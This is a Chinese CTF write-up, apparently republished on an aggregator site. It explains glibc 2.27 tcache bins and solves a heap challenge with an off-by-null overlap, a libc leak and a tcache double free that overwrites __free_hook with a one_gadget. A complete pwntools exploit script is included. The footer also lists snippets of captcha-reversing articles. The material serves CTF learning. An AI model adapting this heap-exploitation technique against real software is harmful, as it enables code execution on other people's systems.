常回家看看之tcachebin-attack

news/2025/1/16 7:57:20/文章来源:https://www.cnblogs.com/CH13hh/p/18340642

常回家看看之tcachebin-attack

自从glibc2.26之后出现了新的堆管理机制,及引用了tcachebin机制,tcachebin也是主要分配小堆块的,有40条bin链(0x10 - 0x410)

那么这样的分配有很多和smallbin 和fastbin重叠的部分,及malloc申请之后free掉的小堆块优先进入tcachebin中,这样的分配减小的分配堆时候的开销,而且加速了堆的分配速度,但是由于新引入了tcachebin,那么对它的检查还是没有那么完善,虽然加强了doublefree,检查但是不代表它不存在,举个例子,加入你申请堆块的时候两个堆块指针指向同一个堆块,那么在free的时候就可以实现double free,但是由于tcachebin链表头部有检查,所以可以先放入几个正常的堆块到头部,然后再次把fake chunk链接进去。

这里注意,之前fastbin对加入链表的size位有检查,但是在tcachebin中,我们可以不用考虑那么多,但是要注意一点,一旦申请到了fakechunk,那么这条链子可能大概率用不了了,所以想要后续的使用要申请别的大小的堆块。

这里可以看见当同一大小的chunk,tcachebin放满了7个之后才能free进入相应大小的bin链表里面,比如上图进入了unsortbin链表中,而且申请堆块的时候也是优先从tcachebin链表中拿。

tcachebin出入顺序:先进后出(FILO)跟fastbin一样,而且它们都是单链表也可以叫它们(头插法)拿的时候也是从头拿

这里和unsortbin区分开,unsortbin和它们刚刚好相反,而且unsortbin还是双链表,对应2.29以下的攻击有unsortbin attack,及任意地址写入main_arner+88的位置

例题演示

题目保护情况

64位ida逆向

菜单,有add,free,show三个功能

add函数,申请堆块大小是固定的

注意这里存在off_by_null

free函数,free之后指针清空没有UAF漏洞

show函数用puts打印的

分析

本题申请堆块是固定的,并且是0x100堆块对齐,对于off by null 一般可以考虑overlap-chunk,那么对于本题,libc是2.27的引入了tcachebin进制,所以要先申请free掉7个堆块之后剩下的堆块才会进入相应的链表中。

我们先申请10个堆块

for i in range(10):   malloc()
​

然后释放前6个(0-5)然后释放最后一个(9)这样做为了防止堆块合并

for i in range(6):   free(i)
​
free(9)
​

最后再free 6,7,8堆块

for i in range(6,9):   free(i)
​

那么此时堆块内容是这样的

但是注意,虽然合并了,堆块上有残留的prev size,可以让我们构造出overlap-chunk

然后我们再把堆块申请回来

for i in range(7):   malloc()
​
#gdb.attach(io)
malloc(0x10,'aaa') #7
malloc(0x10,'aaa') #8
malloc(0x10,'aaa') #9
​

这样做的目的是等会把chunk 8 最后加入tcachebin 链表中,这样下次申请的时候就是第一个,并且此时把chunk 7 加入到unsortbin 链表中,那么就有了libc的地址指向chunk 7

for i in range(6):   free(i)
​
free(8) # 0 tcache
free(7) # unsort
​

此时申请堆块的同时实现off_by_null 申请大小0xf8堆块

malloc(0xf8) #0
​

申请之前

申请之后

由于之前申请了chunk8导致tcachebin链表少了一个堆块,我们此时把chunk6放入tcachebin中,因为接下来要free chunk9,让chunk9在unsortbin中和堆块8合并。那么此时堆块9就无了,你也可以认为8 和9此时都是8。

free(6)
​
#gdb.attach(io)
free(9)
​

那么此时把chunk 7 申请出来就好了,那么chunk8就在指针头的位置了

for i in range(7): #1-7   malloc(i)
​
malloc(0x10,'bbbb') #8 over_heap
​

因为申请导致指针变换,及之前的chunk8就是第一次从tcachebin 链表申请出来了chunk 0,现在chunk0正在unsortbin中正在使用,但由于堆块合并导致它加入了unsortbin中,所以show(0)就可以泄露libc地址

puts(0)
​
io.recvuntil("> ")
malloc_hook = u64(io.recv(6).ljust(8,b'\0'))-96-0x10
log.info("malloc hook: " + hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
success("libc_base---->"+hex(libc_base))

那么接下来就有意思了,还记得我说chunk9无了吗,是的它现在是没有了,我们再次申请堆块的时候,由于此时chunk 0 还在unsortbin里面申请的时候就会申请到它,标记下标为chunk9 ,但是此时chunk0 在使用中,所以被申请了两次,但是有两个下标chunk 0 chunk 9

所以free 0 free 9 就会实现double free,但是为了绕过检查我们在tcachebin头部放入一个正常的堆块

malloc(0x10,'cccc') #9 ---->  fake  0
​
free(1)
​
#gdb.attach(io)
free(9)
free(0)

那么此时

好了你可以愉快的申请堆块来修改__free_hook了

malloc(0x10,p64(free_hook))
​
malloc(0x10,'dddd')
malloc(0x10,p64(one_gadget))
​
free(2)

 

EXP
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = process("../pwn159")
#io = remote('pwn.challenge.ctf.show',28228)
libc = ELF("/home/su/PWN/VIPshow/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
def malloc(size=1,content=""):       io.sendlineafter("> ","1")       io.sendlineafter("> ",str(size))       io.sendlineafter("> ",content)
​
​
def free(index):       io.sendlineafter("> ","2")       io.sendlineafter("> ",str(index))
​
​
​
def puts(index):       io.sendlineafter("> ","3")       io.sendlineafter("> ",str(index))
​
​
for i in range(10):   malloc()
​
​
for i in range(6):   free(i)
​
free(9)
​
for i in range(6,9):   free(i)
​
​
#gdb.attach(io)
for i in range(7):   malloc()
​
#gdb.attach(io)
malloc(0x10,'aaa') #7
malloc(0x10,'aaa') #8
malloc(0x10,'aaa') #9
​
​
for i in range(6):   free(i)
​
free(8) # 0 tach
​
free(7) # unsort
#gdb.attach(io)
malloc(0xf8) #0
​
free(6)
​
#gdb.attach(io)
free(9)
​
for i in range(7): #1-7   malloc(i)
​
malloc(0x10,'bbbb') #8 over_heap
​
puts(0)
​
io.recvuntil("> ")
malloc_hook = u64(io.recv(6).ljust(8,b'\0'))-96-0x10
log.info("malloc hook: " + hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
success("libc_base---->"+hex(libc_base))
#pause()
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f322
gdb.attach(io)
malloc(0x10,'cccc') #9 ---->  fake  0
​
free(1)
​
#gdb.attach(io)
free(9)
free(0)
​
malloc(0x10,p64(free_hook))
​
malloc(0x10,'dddd')
malloc(0x10,p64(one_gadget))
​
free(2)
​
​
io.interactive()
​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/777247.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java 面向对象1

1.java类一个类文件可以定义多个类,只能有一个用public修饰.java基本语法方面在有的很想c++.在学习java面向对象的时候我也得对比c++来学习.学习c++的三大特性:继承,多态,封装,是如何在java中体现的. 2.封装,封装是类最基础的特装类通过将好几个成员数据封装成一个整体,便于数据…

Mediawiki报错Wikimedia\Rdbms\DBQueryError的解决方案

需要运行php <你的mediawiki目录>/maintenance/update.php来更新数据库。上下文 Mediawiki登录页面报错Wikimedia\Rdbms\DBQueryError解决方法 虽然Mediawiki被墙了,很难找到官方文档,但我还是找到了Re: database problem提到的wiki-upgrade.txt。 其中,第12步指出需要…

数据中台以及数据仓库的介绍

数据中台 1、数据中台的概念数据中台是一种集中化的数据管理平台,用于整合和管理企业内部各个业务系统的数据。 它将数据从各个业务系统中抽取、清洗和集成,然后提供给其他业务系统或者数据应用进行分析、决策和创新。 数据中台的目标是实现数据的一致性、可信度和可用性,促…

常回家看看之fastbin_attack

常回家看看之fastbin_attack 原理分析 fastbin属于小堆块的管理,这里说的fastbin_attack大多指glibc2.26之前的手法,因为自glibc2.26以后,glibc迎来了一位新成员tcachebin,它减少了堆的开销,使堆管理变得迅速而高效,而且申请的小堆块会优先进入tachebin中,只有tachebin其…

触想工业显示器方案在汽车装配生产线上的应用

一、行业发展背景中国汽车工业协会数据显示,2023年我国汽车产销量双双实现历史性突破,分别达到3016.1万辆和3009.4万辆,并连续15年位居全球首位。汽车产业热销背后是先进的生产装配体系支撑,从零部件到整车,汽车的生产和工艺流程越来越复杂,涉及的自动化装配和检测设备也…

最大传输功率数学推导

最大传输功率,不仅适用于低频,也适用于高频。在个人的认知里,也同样可以用来解释高速信号的匹配原理,而不仅仅只是从阻抗不匹配造成的反射来解释。电路分析图 1. 由以上电路可知,负载功率表示如下2. 由复功率、能量守恒可知 3. 复阻抗的虚部,属于无功功率,发送等于接收…

caffe编译和基本使用(Windows + CPU)

xqspace 0. 摘要 本文主要完成以下几点:caffe默认支持是 vs2013/vs2015 + python2.7/python3.5,使用其他版本会比较麻烦,这里使用的是vs2015和python3.5;完成caffe在windows上的编译(cpu版);提供caffe的python接口;caffe的基本使用方法(这里是推荐几篇讲的比较详细的入…

学生java学习路程-5

ok,到了一周一次的总结时刻,我大致会有下面几个方面的论述:1.这周学习了Java的那些东西2.这周遇到了什么苦难3.未来是否需要改进方法等几个方面阐述我的学习路程。 抽象类 abstract 接口interface,定义时加入注释解释接口含义String类 String是不可变字符串,所有的替换,截…

深圳航空顶象验证码逆向,和百度验证码训练思路

​ 声明(lianxi a15018601872) 本文章中所有内容仅供学习交流使用,不用于其他任何目的,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关! 前言(lianxi a15018601872) 试了一天的百度验证码训练,下载ps一…

快手-滑块

​ 声明 本文章中所有内容仅供学习交流使用,不用于其他任何目的,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关!wx a15018601872 本文章未经许可禁止转载,禁止任何修改后二次传播,擅自使…